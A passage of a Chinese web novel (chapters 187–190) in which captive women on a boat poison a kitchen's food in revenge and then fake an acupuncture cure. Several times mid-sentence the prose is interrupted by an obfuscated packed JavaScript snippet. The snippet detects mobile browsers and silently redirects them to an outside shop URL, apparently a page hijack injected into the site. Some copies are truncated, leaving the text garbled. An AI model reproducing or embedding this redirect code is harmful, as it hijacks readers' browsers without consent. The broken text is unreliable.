“这船上,成日里抬头不见低头见的,你也不必搞的像生离死别了。只是自此,你们都只能靠自己的本事在这船上生存。旁的都是虚的,要想过得好,要把自己的真本事拿出来讨得大人们欢心才是正理。”曹娘见过太多的姑娘,韩白里的那点迟疑早被她看在眼里。她看着站在最前排的那个姑娘若有所思的走到她的身旁,“你又叫什么?” “回曹娘话,我叫元贝贝!” “元贝贝……吗?” 187. 第 187 章 红姐 虞初听见曹娘的话立马抬头看着她,只见她用帛扇挡在自己的侧脸处,一直站在极风娘子身边仔细的打量着她。此刻的虞初心下有些慌张,极风娘子虽在京城出名,但都是干这行的,难保以前见过。 “是的,我叫元贝贝!”极风娘子满眼坚定的回着曹娘的话,至始至终,眼神没有斜视过半分。 “你还有个姐姐?”曹娘看了看手中的名册,又往这群姑娘中间望了几眼。 “是的,元珍珠就是我姐姐,我身后的那个便是。” 曹娘看了眼虞初,然后又往她身后都看了一眼,“那你呢?” 易桦见曹娘问自己话,连忙回答:“回曹娘话,我叫易桦。容易的易,桦树的桦。” “那行吧,你们三个过来,站在旁边。” 极风娘子和虞初易桦一起往旁边走了几步,然后又偷偷瞄了一眼没被喊到名字的钱丛。 钱丛眼看着她们三被喊走,又看了一眼正在看着自己的曹娘,心中多有慌张,又想起刚刚曹娘刚跟韩白里说的那番话,只好静静的假装镇定的站在原地。 “好了,剩下的都跟这个人走吧。”曹娘指着刚刚走来的一个下人,看着她们都跟着走了,这才又回过身来盯着她们。 “你们这批我心里清楚,都是没受够培训的就过来了。那几个人虽也如此,但终究比你们要好一些。你们三从我过来就一直左顾右盼的,当真以为来到了什么好地方,还如从前一般自由?” 韩白里不知所措的站在曹娘旁边,她手揪住衣角,想要说些什么但又不敢张口。虞初见她脸憋的通红,手放在腿边轻轻的摇了两下。韩白里没有注意到,曹娘倒是先瞧见了。 “我这跟你说着话,你还敢!”曹娘用手上的帛扇狠狠的敲了一下虞初,“元珍珠是吧,手既然停不下来,那船尾厨房正缺一个洗碗的,你们三人就都过去那边,一直洗到听话了我再去找你们!” “是!”虞初三人安分应下,表面虽不波澜,心底早就乐开了花。易桦更是紧绷着脸上的肌肉,害怕自己一放松就让那个眼尖耳聪的曹娘看到自己的确幸。 曹娘亲自带着这三人去了后船,跟里面掌事的好好交代了一番就让她领着她们三人进了后厨。 那厨房除了主厨就属这姚嫂最有话语权了。洗碗的地方还在里面一些,她们三个越往里面走越觉得里面闷热。一路上除了坐在前面的主厨只朝着她点了头,旁人见了她都会尊称一句“姚嫂”。 虞初走在姚嫂后面观察了一路。本来从船头走到船尾就花费了不少时间,没想到光厨房里面还走了这么久。里面忙的闲的加起来大概也有二十余人,就是洗碗的本来也有五人。 “这怎么又来了几个,好的轮不到,净送一些活都干不利索的花枕头来。”虞初她们三人还未过去,里面的一个舀水到地上的木桶的中年妇人就抱怨了起来。 “你带带这几个。” “洗个碗还要人带,我不带,我看她们干活我气得慌。” “那红姐你带。” “……好……” 姚嫂扫视了一圈厨房的人员,让之前的洗碗的都去切菜区帮忙,整个后厨洗碗的最后只安排了红姐和她们三人,明显是想给她们点颜色瞧瞧。 三人站在原地,周边看向自己的眼神都不算友好。甚至还有几个直接冲着自己翻白眼。 “我们是多不受待见!”极风娘子小声跟虞初嘀咕起来,旁边一个妇人看见直接冷嘲热讽起来:“还没开始干活,就开始说你坏话了红姐!” 虞初看那红姐满不在乎的“嗯”了一声。一直没有停下手里的活。 易桦听见那妇人埋汰她们,撸起袖子就走到红姐旁边,直接拿起木盆里面的碗洗了起来。虞初和极风娘子也都跟着一起去了。 红姐抬眼看了一下三人,也不吩咐她们做事,只低着头一直洗着手里的碗盘。 这一天下来到底洗了多少盘子虞初她们也记不清了,反正一木盆一木盆的送过来,永远看不到尽头。就是中午吃饭时,那也是一个个挤出来的时间轮着去的。 “终于结束了,这都子时了吧,真是不把人当人。”虞初边走边敲着自己的后肩,极风娘子的手搭在她的肩上,时不时的也帮着捏几下。 “其实洗盘子还好,就是我实在受不了要用手去扒碗里的剩菜剩饭,恶心死了。” 易桦说到此处禁不住晚上吃完的东西直往胸口翻,连忙用手拍了拍才又下去。 “你们回去吧,明天别迟到了,要不然又要被她们挤兑。”刚出厨房,红姐就吩咐了这句,自己先离开了。虞初她们三人站在原地呆呆的看着红姐的背影,不知为何,那消瘦的背影孤单落寞,只身走在前面,脚步不慌不忙,好像一个行尸走肉。 “那厨房就是这红姐的盘子最多,我们三个人一起洗,还洗了这么久,那若是没有我们,岂不是要没日没夜的干。”易桦看着红姐心里愤懑。 “想必那红姐是被她们欺负惯了的,你瞧那些个人,有谁都不是一边聊天一边干活的,就我们这堆,往死里干。” 虞初听着极风娘子的话,再看着红姐的背影,嘴角一弯:“那明天我们就帮红姐出出气。” “这样才舒心!” “会不会给我们招麻烦啊!”易桦有些犹豫,毕竟她不知道虞初到底是想怎么出气。 “无碍,不过就是几个欺软怕硬的老婆子。” 聊完三人回去随便洗洗倒床就睡,翌日还是红姐提前过来敲门才带着“怨气”起了床。 “你们快点起来。洗漱过后就赶紧跟上来,还有好多活要做。” 虞初她们连忙跟上,到厨房才发现除了她们四个,一个都没来。 “大家都没来,为何我们要起来的这么早,我还想多睡会。” 红姐坐在角落看了易桦一眼:“先坐着吧,等她们来有人烧水我们就干活了。” “还要等她们烧好水,那我们不是可以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13203772|134603||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过来的更晚一些吗,你这么早叫我们……”易桦越说越来气,但是看见红姐不吭声,想想又罢了。 虞初拦住易桦摇了摇头,极风娘子也在旁边劝道:“红姐也是怕我们来晚了被那几个妇人找岔诟病。既来之则安之,我们就等着吧,你也可以靠着墙眯一会。” 易桦看了看红姐,走到红姐旁边坐下:“谢谢啊!”见红姐还不讲话,也就悠悠的坐在旁边东张西望,直到后面的人都来全了,她们才又开始干起活来了。 刚到中午,那几个坐在一起的妇人就都起身要先去吃饭,临走时还不忘颐指气使的让虞初她们将盘子洗得干净一些,要不然回来查看不过关就都全都重新洗一遍。虞初她们也不反驳,低头干活。那几个人见她们几个被自己收拾的服服帖帖,脸上不免得意起来,相视一笑,三四成群的就都去了。 “你们都做什么了?”红姐在那几个人走后一脸严肃的盯着易桦,易桦本就心虚,又突见红姐如此严肃,禁不住打了个颤,心虚的将头转了过去。红姐见易桦不肯说,就又走到虞初旁边:“元珍珠,你说。” “原来红姐知道我们的名字,这两日第一次听见你喊我名字。” “你休要转移话题。” 虞初见红姐不依不挠,索性直接相告:“没什么,就是今日的饭菜可能会出点问题。” “你们在饭菜里面动了手脚?” “红姐,我们可没有在饭菜里动手脚,天地良心,我们在饭菜离开厨房之前,都是和你待在一处的。全程不都是姚嫂那几个婆子操作的吗?” 红姐愣住片刻,突然转身看了看木桶里面的盘子。 “你们在盘子上动了手脚?” 虞初惊讶的看着红姐,她不害怕红姐看出她的小伎俩,倒是惊诧红姐竟然这么快就想到她们会在盘子上动手脚。她看着红姐,脖颈处有一道红疤,颜色发白应该有一段时日了。再看看她泡的发白的手,手腕上面皮肤细嫩消瘦。看起来年纪大概比她大个几岁,但又觉得红姐眉眼处透着一股清透,不似那几个妇人,满脸世故算计,让人生厌。 “不是盘子,毕竟这些盘子是我们洗的。”虞初转头指了指炉灶旁的木舀子,“是这个,但凡用得上水的都要用这个蒯水。” 红姐听了虞初的话就要上前处理那个水舀,被极风娘子从旁一把拉住:“红姐现在过去,那几个没去吃饭的看到你,出事后第一个不就会想到你了!” “万一她们查到……” “不会查到的,那膏体我抹在舀口,遇水不会化开。只有遇热才会慢慢化开,溶于水里。只有她们做菜的时候用这个,才会有药被锅里热气融化于水再流进锅里。如今已经过了一上午了,那药膏怕是早就消化没了,不会留下什么印记,红姐放心。” “等她们回来我就去揭发你们的手段!”红姐转身,不再跟虞初她们讲话。手上的动作较之平常重了许多,光从盘子哐啷哐啷的声音听来,红姐这次是真的生气了。 188. 第 188 章 “你这人怎么狗咬吕洞宾,我们不还是看你被欺负才想着帮你出口气的吗,现在还要去揭发我们。真要是我们有事,你也脱不了干系!”易桦的怒气一下子就上了头,对着红姐就一顿怨骂。 “易桦,别说了,红姐真要是想去揭发我们,现在就不会还坐在这里了。”虞初看着红姐,见她也不反驳,更加印证了自己的猜想,“她只是不想惹事,凡事都不想跟自己扯上关系而已。红姐,我这事她们不会察觉的,不会有事的。” 红姐欲言又止的抬头看了虞初一会,又闷头干活去了。 果不其然,话刚结束曹娘就带着好大一帮人过来直奔厨房。姚嫂不明所以的丢下碗筷上前迎接,曹娘怒火冲天的上去就推了姚嫂一把。 “你怎么回事,前面上吐下泻的二十几人,有两个还是贵宾。你若是真不想活,旁边就是江,直接跳下去就成了,何苦要拉上我们!” 姚嫂看见曹娘这么大阵仗过来,以前就是有不满意的地方也只是被骂几句就完了。今日连骂带推的虽不清楚到底发生了什么事情,但也大概知道是不好解决的大事了。 “曹娘,您先别生气,我这也要搞清楚是什么事情才好来解决啊。”姚嫂拉着曹娘的胳膊,另一只手不停的安抚着曹娘,嘴里也没停过让曹娘顺气的话。 “指定就是你们厨房的事情了,也不用查了。前面的人吃了你们送上去的东西,全都上吐下泻的。你说说看,还有北齐的……哎,多说无益。现在上面怪罪下来了,总要查清源头。” “上吐下泻?”姚嫂皱眉将后厨扫视了一番,“我们就跟平日的操作方式一致啊,也没有另外加过什么。” 曹娘此刻也听不进去姚嫂的话,直接就让自己带过来的一行人过去将厨房里外全翻查了一遍。尽管如此,还是一无所获。 一个男子在曹娘耳边不知捣鼓些什么,姚嫂紧张的看着曹娘,心下忐忑自不必说。旁边的几个妇人,刚刚出去吃饭时还很嚣张昂扬,此刻个个也都跟瘟鸡一样垂头丧气的躲在后面,不敢说一句话。 “难道是菜品的问题?”曹娘思量许久,喊出后面的一个郎中和菜农,令她们二人上前仔细查看今日送来的肉菜。二人齐齐上阵,又是银针又是放在鼻口处细闻,最后也都摇头而终。 曹娘此刻也一头雾水,厨房菜品都查过了,都没问题,那到底是那个环节出了问题。她自是不想担责,依旧对曹操不依不挠。 “饭菜瓜果出了问题,那指定就是你们厨房的问题。我现在没有查到源处,也不能说明是你们厨房就完全没有问题。上头给我的时间不多,实在找不出来的话,你就跟我去回话吧。” “回话?”姚嫂听见这话一下就慌了神。她清楚被叫去那边问话,就是不死,也是生不如死。 “对,不然你想让我替你去回话?” “是她们,肯定就是她们搞的鬼。之前从来没发生过这样的事情,怎么她们一来,我这厨房就出了事情。”姚嫂慌乱之下指着虞初她们,红姐依旧洗着盘子,对于姚嫂的指认不以为意。 “红姐,你怎么说?” “我们从早上来就坐在这等她们烧水,之后就一直蹲在这边洗盘子,就是午饭都还没来得及去。”红姐不紧不慢的回曹娘的话,手中的活依旧没有停下。 曹娘的视线只在红姐身上停下数秒便转头看了一眼愣在旁边的三个姑娘。 “你们还没吃午饭,那刚刚她们出去是不是就剩你们在这里了?” 虞初扭头指着里面的火夫:“那两个大哥也一直在里面烧火,虽然火箱声音吵杂,听不见我们说什么,但是我们一直没有离开过这地方是死的,想必他们也是看到的。不信你让人去问问。” 曹娘若有所思的看着虞初,果真派了两个人去火箱那边问了一下火夫。那两人点点头,也是应了虞初的话,确实没有离开过洗碗的地方。 “曹娘,就是中午放饭时间我们在旁的地方走过,那也跟我们没有关系。你刚刚也说了,那二十几人是上午就开始上吐下泻了,想必是一早上就有什么我们没注意到的地方出了问题。”虞初走到曹娘旁边细细分析起今日的事,曹娘起初以为她要辩解,不曾想所言还是有些意思的。 “那你能想到到底是哪里出了问题吗?” 死马当成活马医,曹娘确实刚开始就看出这个姑娘是有些聪慧在身上的。只是不受管教,这才想先让她们几个过来受受下马威。 虞初走到那几个妇人跟前,见那几个人畏畏缩缩的生怕虞初趁机给她们安罪名。有几个甚至露出了讨好的表情。 “既然是饭菜有问题,那就是做饭的人的问题了。不管是有意的还是无心的,终究错在这里。” “谁是锅炉旁做事的?” 好巧不巧,就是那几个妇人,外加一个姚嫂。刚刚还心存侥幸的人见这个元珍珠说话矛头直冲自己。索性也不装了,直接就对着虞初开骂:“元珍珠,你休要信口雌黄,趁机诬陷我们。我们做没做心里有数,你分明就是公报私仇。” “冤枉,我只是说了一点自己的看法,你们平时也没有对我做什么过分的事情不是,又哪来的私仇。再者,我也不是能下决策的人,又如何能以权谋私,说到底也就说了几句公道话而已。” “你……” 虞初说完话转身背对着曹娘,直对着那几个妇人挑衅的露出个阴笑。 那几个妇人看到笑里藏刀的元珍珠,心下不免发凉懊悔。才明白上午她们欺负的这个不啃声的小白兔并非表面看起来的那样好惹。再看看旁边两个,面上都平静如水,眼神却一个比一个犀利。 “珍珠说的没错,既然厨房里没找到异样,那问题就出在人身上了。”曹娘冷眼看了一下后面的几个婆子,“你们帮我去好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13211257|134603||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好问问,实在没人说,那就想办法让她们开口。” 听见这话,那几人立马按捺不住:“就是这个元珍珠陷害我们的。曹娘你看她那得意样,不是她还有谁。” “就是红姐指使的,平日里怕是早就不满我们将活都推给她做,现在收下刚来三个虾兵蟹将,就等不及的要给我们下套!” “对,没错了,就是红姐。整日也不见她说话,哑巴憋臭屁,就没安过好心。” “…………” 你一言我一句的,那几人就这样不服气的被带到了旁边,随之而来的就是各种惨叫。 虞初也不在意里面的进度,走到曹娘身旁:“其实抓人不是重点,重点是怎么给那些‘贵宾’一个交代。找出使坏之人迟早的事,当下要务不是先安抚好出问题的人才是最重要的。” 红姐此刻也抬眼看了看虞初,见曹娘看向自己,又低头干活。 “怎么安抚?” “曹娘你刚刚说他们上吐下泻,那么到目前为止,他们的症状都得到好转了吗?” 曹娘听到这话,两手一拍长叹:“要不然为何上面那样动怒,非要我来找出个子丑寅卯来。这医师请了不少,药也按照他们的药方煎了喝了,可还是不见好转。” “我们一行过来的还有个钱丛,曹娘可还记得?” 曹娘抬眼思索一番:“就那个不怎么说话的那个,半日也闷不出个屁来,白长了一张精致的脸了!” 虞初尴尬笑了笑:“曹娘不知,我这钱丛妹妹不是不讲话。她本是领居家的从小一起玩大的,从小跟在我后面。天性胆小怕事,有点什么事情都是我替她出头。如今我们分开,此刻怕是慌了神,不知所措而已。” “原是这样,你提她作甚?”曹娘若有所思的盯着虞初,“元珍珠,你想让我将她带过来让你们待在一起,昨天见你们私下不安分,果然今天就向我要人了。” 虞初坦然笑道:“曹娘眼尖心细,什么都逃不过你的法眼。我有私心没错,确实想将妹妹带在身边。可是还有一事曹娘不知,我这妹妹精通针法,原本也是好人家的姑娘,是有些真本事在身上的。如今那些人既然用药不管用,那索性就试试她的针法。我之前见过比这症状严重的都被她治好了。只是……” “只是什么?” “我刚刚说了,只是我这妹子胆小怕事,想必还是我在她身边才能稳其心性,准确施针,不乱方寸。” “若是真管用,让她过来跟你们一起也不是什么难事。可若是庸医无用,那可就……” “曹娘您不妨信我一次,若是缓解了‘贵宾’们的症状,上面也就不会再怪罪于你了不是。就是真不管用,大不了你将责任一并推在我们身上,亦与你无关。” 曹娘哪里还有心思揣度轻重,谨慎的看了看她们几个言语威胁道:“若是做不到,休要怪我无情。” 189. 第 189 章 很快曹娘便听了元珍珠的话让人把钱丛带了过来。 钱丛刚开始心里也没有底到底是被带到哪里,一路上脑子里想了无数的可能,心下总想着大不了还有一死,这么想想,倒也没有什么大不了的。突然来到后厨看到元氏姐妹和易桦三人,心一下子就落下来一大半。 “你是钱丛?”曹娘见人带过来了,一副高高在上的模样打量着钱丛。 “嗯!” “哼。”曹娘也顾不上追究钱丛的无礼,试探问道,“有人说你的针下的恰到好处,当真能救人?” 钱丛听到“下针”二字知是元珍珠她们提到的,可是后面又接着“救人”,一时也一头雾水。可是曹娘一直盯着自己,也不好跟珍珠她们使眼色暗下沟通,接着又回了声迟疑的“嗯……” “你除了嗯就不会说话的是吧?”曹娘狠狠的白了她一眼,虞初见状连忙上前招呼。 “曹娘莫生气,我刚刚就说了,我这个妹子胆小。不是有意无礼,只是见曹娘气场强大,不敢吭声。”虞初说着又看了一眼钱丛,“钱妹妹,我刚刚做主告诉曹娘你的针灸医术可以救人治病,你等会跟我们一起去看看。” 钱丛听到此处也明白了个大概,轻轻点头:“好的曹娘。” “果然是你在旁边会好一些,这一个字变四个字还真是不容易。走吧!” 曹娘带着这四个姑娘一起往前面去了,钱丛在准备跟上的时候迟疑问道:“可是我没有针包!” “这个不用你担心,前面的大夫十几个,想找个针包还是容易的。” 钱丛看了一眼元珍珠,见她点头,也就没有再多说话,只是碎步跟上。 船头的前厅里照样歌舞升平,毕竟还是有一部分人没有中招,至于为何,这不连曹娘到现在还没有查清。那二十几位中招的还在排队如厕,有一些躺在旁边,旁边一个手上拿着容器随时准备接呕吐的晦物。场面又好笑又恶心,虞初刚进去时,极风娘子实在没忍得住吐槽了一句:“下次别搞这样的大场面,我鼻子受不了!” 虞初只笑,见曹娘转头看见自己嬉皮笑脸,曹娘斜眼警告,虞初又连忙又拉下脸,摆出一副严肃的面孔,显得尊重。 走进去后,曹娘先是自行往里面又走了一会,掀开帘子去了一个小屋。不知道跟里面的人都说了些什么,出来就朝着她们招手:“元珍珠,钱丛你们两个过来。你们先从那个人下针试试。” 曹娘把手里的针包递给了钱丛,然后指了指最边上的那个较为年轻的男子。 钱丛接过针包,硬着头皮和虞初一起走到了那个男子旁边。 “珍珠,我……” “随便下,别太离谱就是!” 二人说话的声音很小,曹娘一众人只当是钱丛怯场,元珍珠在安抚她的情绪。 虞初先是上去掀起男子的衣袖,然后示意钱丛过来施针。起初钱丛有些手抖,迟迟不敢下手。后来听珍珠一直说“下针”,只好硬着头皮随便闭着眼睛随便扎了一下。 “啊!” 男子疼的叫了起来,元珍珠就连忙用手扶住男子的胳膊,不肯他动。 曹娘站在旁边听见男子惨叫,忍不住问了问旁边的郎中。 “怎么以前我见你们施针,痛感没有这么明显?” 郎中一时不知如何回复,点头不语,眼睛继续注意着钱丛手上的针法。 没几下钱丛就收起针包和元珍珠一并退下到曹娘这边。 “这就好了?” 钱丛心虚的看了眼站在她身旁的元珍珠,眼神很是依赖。 “回曹娘话,钱丛既然收针,想必是已经无碍了。”元珍珠轻松笑着,然后肩膀轻轻的推了推钱丛。 “好了。” “这外面不知道的还以为我们这的姑娘是个哑巴呢,哼!”曹娘没好气的白眼了钱丛一下,她这人最讨厌这样的闷葫芦,话还没说两句,自己就火气就先上来了。 “且看着吧,曹娘子!”旁边的太医满脸狐疑的看着钱丛,不论从刚刚的针法还是她的样子,怎么都不像是学医世家出来的。可毕竟自己面对这样的事情束手无策,也不好多作评价。 又过儿半柱香的时间,刚刚那个年轻的男子精神已好了大半,自从扎针后,也不上吐下泻了,就是刚刚嗡嗡发昏的脑袋也开始清醒了。 “姑娘师从何处,果真是神手啊!”男子特意上前拜谢,听见这人好了之后,刚刚还保留怀疑的几人又变得积极起来,纷纷让自己的随从请钱丛先为自己扎针。 曹娘见形势大变,立马收起刚刚满脸的嫌弃,殷勤的牵着钱丛的胳膊先将人带去了一个年纪稍大的大人身旁。元珍珠紧跟上,到了那位大人跟前,曹娘就识趣的退下,让钱丛安心下针。 那几个郎中都跟随着钱丛的步伐随时移动着脚步,虽然不敢靠太近,也能看个大概。 “真是奇特,毫无章法可言啊。” “这是哪个学派的针法,我之前怎么从未见过?” “何止是你,就是我也不曾见过。你看她,每个人下针的地方都不同。因地制宜,因人而异,还是我学的不够啊……” 曹娘听见那几个郎中的谈话:“要我说,你们几个也是顶尖的郎中了,如今竟然被一个小丫头比下去了。老脸可往哪里放!” 几个老头羞羞自诩,连连点头尬笑。 虽说出事的有二十余人,自从曹娘将钱丛带去前面,只一个时辰便都好的差不多了。上面虽说要彻查,好在解决了眼前的问题,也就不似上午那般生气。只让曹娘好好查,理清来龙去脉交个人给他。 曹娘回去后,钱丛她们几人一直跟在身后。元珍珠上前趁热打铁:“曹娘,我刚刚跟你说的……” “我这不是将她带到这里来了吗,放心,我也不是那种过河拆桥的人。再说,她确实有些本事在身上,保不准日后有用得着她的地方。” “多谢曹娘,那我们就继续回去洗碗了。” “哎……”曹娘皱眉喊着几人,“给点颜色就上天,一点规矩不懂。我什么时候让你们走的。别以为我不知道你们几个打的什么心思,以为洗盘子是个好差事,至少不用去前面抛头露面是不是?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13233638|134603||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 易桦撇了撇嘴抬眼偷看了一眼曹娘,正好被抓个正着。 “你叫易桦是吧,我刚刚说的对不对?” 易桦低头不予吱声。 “元珍珠,你不是最有意见的吗,你来说说?” 虞初讨好的笑了笑:“不瞒曹娘,我们之前都是好人家的姑娘,突然被抓过来,你还非要我心甘情愿的,确实难度有点大!” 曹娘冷笑:“好人家的姑娘,到底是没有培训好就送过来的。来到这船上的,就没有什么好人家坏人家的姑娘。你不是你,你只是我们这条船上的一个下人。” 元贝贝冷漠补充:“曹娘还是客气了,我们不是下人,也不是人!” 曹娘饶有兴趣的看了看元贝贝:“你倒是比她们拎得清楚些,我之前是答应了你们要是这事办好了,钱丛我就允她跟你们一块。可是我一直没说过,还让你们回后厨。如今后厨还有得查呢,你们先跟我去东院,我亲自带你们!” 元珍珠立马表情不乐意了起来,可曹娘哪会真在意她的情绪,带着几个人就往东院去了。路上还有一个男子半途来报,说那几个婆子都不认罪,曹娘也懒得啰嗦,索性将那几个全都扣了个疏忽职守的罪名,吩咐个个都打个五十板子就算了。 按理说这五十板子,就是一个正常的年轻男子也够呛能受,更不要说还是几个上了年纪的老婆子。钱丛一直在旁听着,确实有些于心不忍。 “曹娘若是下手重了,打死就算了,到底也是罪有应得的。可要是重伤,我们这还要给她们养病,还图她们何时能好了继续干活。何况前面吃喝,后厨正是需要人手的时候,曹娘还是从轻发落吧。” 曹娘惊讶的先看了一眼若无其事的元珍珠,然后阴笑的绕着钱丛上下打量了一圈:“我原先只当你是个哑巴,没曾想还是个菩萨!” 旁边的下人禁不住笑了一声,见曹娘冷眼看了自己一眼,立马收起了笑意,一本正经的站立好了。 “曹娘,钱丛说的不错。就前面那几个郎中,医术你也看到了,都是有限的。你现在将人打伤,又要在那几个人身上浪费人力物力,得不偿失。” “那你说怎么办?” 易桦两眼鼓的跟个灯泡似得也盯着元珍珠看。 “我们虽只在那边两日,不过也知道那边真二八经做事的只有那个不怎么讲话的红姐。虽然我也不喜欢这个红姐,整日冷面孤傲,好像谁都欠她银子似得。可是那几个婆子就更可恶了,不做事还搞事情,将整个后厨弄的乌烟瘴气的。不如这样,曹娘每日拉一个出去打十板子,轮着来,他们有六个人,第七日的时候再打第一个人,以此类推,每人二十大板。既能杀鸡进猴,又不耽误后厨工作。” “你倒是很适合在这里生存,得了,就按你说的来。” 曹娘满意的带着她们继续往东院走,易桦期间想回去后厨拿行礼也被曹娘拒绝了。 “小家子气,就你那点行李能又能值几个钱。在我东院,吃的用的都是好的,还怕我亏待了你不成!” 易桦无言,只好老实跟着她们一起去了。 190. 第 190 章 替身 “钱丛,之前我只听说你女红不错,没想到你还真会针灸啊!” 几人来到屋里,见曹娘不在,易桦立马凑到钱丛身边好奇的打听了起来。 “也不是,只是……”钱丛其实自己也不知道自己是怎么就治好了那些人的病症,不过她心里有数,真正发挥作用的是元珍珠,并不是自己。 “那些人拉到午时,药效也差不多就散了,不用什么特殊治疗。” 易桦听到元珍珠的解释,似懂非懂的点头思索:“你是说就算没人为他们医治,药效过了也就会好的是吧。” “嗯,可以这么理解。” 极风娘子在旁边收拾着自己的床铺,早早利索收拾的差不多后又转头去帮虞初一起拉平床单铺床。 “当真药效会散?”极风娘子假装不经意的凑到虞初耳边问话,虞初面无表情的回答:“当然不是,解药我抹在手指,她扎的伤口出血后正好可以融释我手上的解药。” “就针口那么大的眼就能解毒?”极风娘子细想之后说道,“你这几年,医术进步不少。日后若是有人害我,记得帮我毒死她!” “你就免了,一般人谁又有机会把你怎么样,我还仰望你护我周全呢!” 正说话间,韩白里偷偷过来躲在门边,虞初一下子就看见了她。 “白里!” 虞初上去将她领了进来,易桦钱丛也都簇拥过来问东问西。 “那个曹娘对你可好?” “你在曹娘身边她都让你做什么?” 韩白里开心的看着几位姐姐,有序的一一回答了她们的问题。 “曹娘将我带走后,就差我做一些院子里的琐事,倒也没有为难我。不过她也没有让我做什么难事,一日三餐,她吃什么就会有我的一份。日常我就扫扫院子,整理整理东西,其他的就没什么了。” “看来曹娘是真的有意栽培你,这才会从小事让你做起。不过这船上的人都是利益至上,现在对你好不代表以后会一直对你好,你还是自己多长点心。你正好趁着现在,也多学些本领,以后也好傍身。” “知道了,贝贝姐,白里一直谨记您的教诲。” 易桦听到白里的话很为她开心,毕竟以前的不易,她都是有看在眼里的。虞初边笑边拉着韩白里往自己这边站了站,然后在她的胳膊上来回搓了两下。衣袖翻开后手臂确实比以往干净不少,虞初这才放心的转身过去继续铺着自己的床。 半柱香的时间,韩白里偷笑道别:“我是趁曹娘午睡偷偷过来的,她每日这时候都会睡一炷香的时间,我差不多要回去了。不然她醒过来看不见我估计要不高兴了。” “你先去吧,看看时间,我们也要去前厅了。” “那我先走啦,姐姐们!”韩白里一溜烟的功夫就不见了人影。 虞初她们几个人住在东院的最侧边,这边也是最靠近江水的边侧。这里较别的地方有些潮湿,尽管白日里有太阳照过被褥,摸在手上还是感觉干不透。不过她们也没办法挑剔,毕竟自己没什么话语权,曹娘让她们住哪里就只能住哪里。这不,要她们未时三刻过来前厅集合,都老老实实的提前就都到了。 “今日晚上前面的人手不够,你们几个等会都去换衣服,跟我过去。” “那我们……去……做什么?”易桦忐忑问着曹娘,曹娘对她的疑问并不理会,只往前走路。 几个默默给她们几个拿过来衣服后易桦才长吁一口气:“原来是端菜的衣服,这衣服我见过,都是给前面上菜的穿的。” 极风娘子反复打量着手上的衣服,满脸嫌弃:“太丑了,就算是端菜的也是近身之人,这么大的船,这都不能周到!” 虞初暗笑:“我从进来就打量了里面,这地方可不比你的会香阁差。不过这衣服嘛,确实如你所言,一言难尽。” “如你所愿,终于可以进去看见里面的‘贵宾’们了。” 虞初委婉一笑:“昨日那么一遭,我也就见了二十来人。北凉的我不是很清楚,但是北齐的几个重要官员我还是多少见过几个。昨日的那里面,一个我眼熟的都没有,不知今日能不能有所收获。” “红姐到现在都不揭穿你,心下估计还以为你真只为了给她出口气的。” “但是确实为她出了这口气不是吗?” 二人说说笑笑,待曹娘走到跟前,二人跟站岗的士兵一般,不苟言笑,端庄正经。 “传菜第一要责,不多言,不多闻,不多看!”曹娘来回在她们几人周围来回转圈,仔细说着传菜时要注意的细枝末节。她们几人个个仰着头听得很是认真,最后在曹娘一一交代后,四人成列离开。易桦走在第二个,见走的远了,突然问了前面元贝贝一句:“她刚刚都说什么来着?” “好好端菜,不要把菜掉地上就行!” 简洁明了,还便于铭记于心! “今日船上来了几个新客人,你们都小心谨慎些。新客人的身份都还不清楚,可别不长眼得罪了不该得罪的,到时候我可不帮你们担责,要死要罚都你们自己的。”曹娘缓步带着路,就是路上的半柱香时间她也不舍得浪费。 四人都各自应下,一晚上一直忙前忙后。晚上回到屋里的易桦一边捶着肩膀一边抱怨:“这些富人来这到底是为了吃还是为了别的!” “你上的那些东西,不过是他们想起来便吃一口的东西。你当真以为他们会每道菜都细细品尝,有几桌上的菜动都没动,就喝了两杯酒。” “你说的那桌我也看到了,真是暴殄天物,要不是看的严,我都想尝尝是什么美味!” “有点志气吧,不食嗟来之物。你若是真想尝尝,下次可以偷偷去后厨要一两口尝尝。” “珍珠将她们害的那样惨,我若真去了,看见我不得生吃啊!” 钱丛和易桦谈着谈着声音就小了下来,最后都累的直接就睡熟了过去。旁边的虞初一直听着二人的谈话,脑子里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 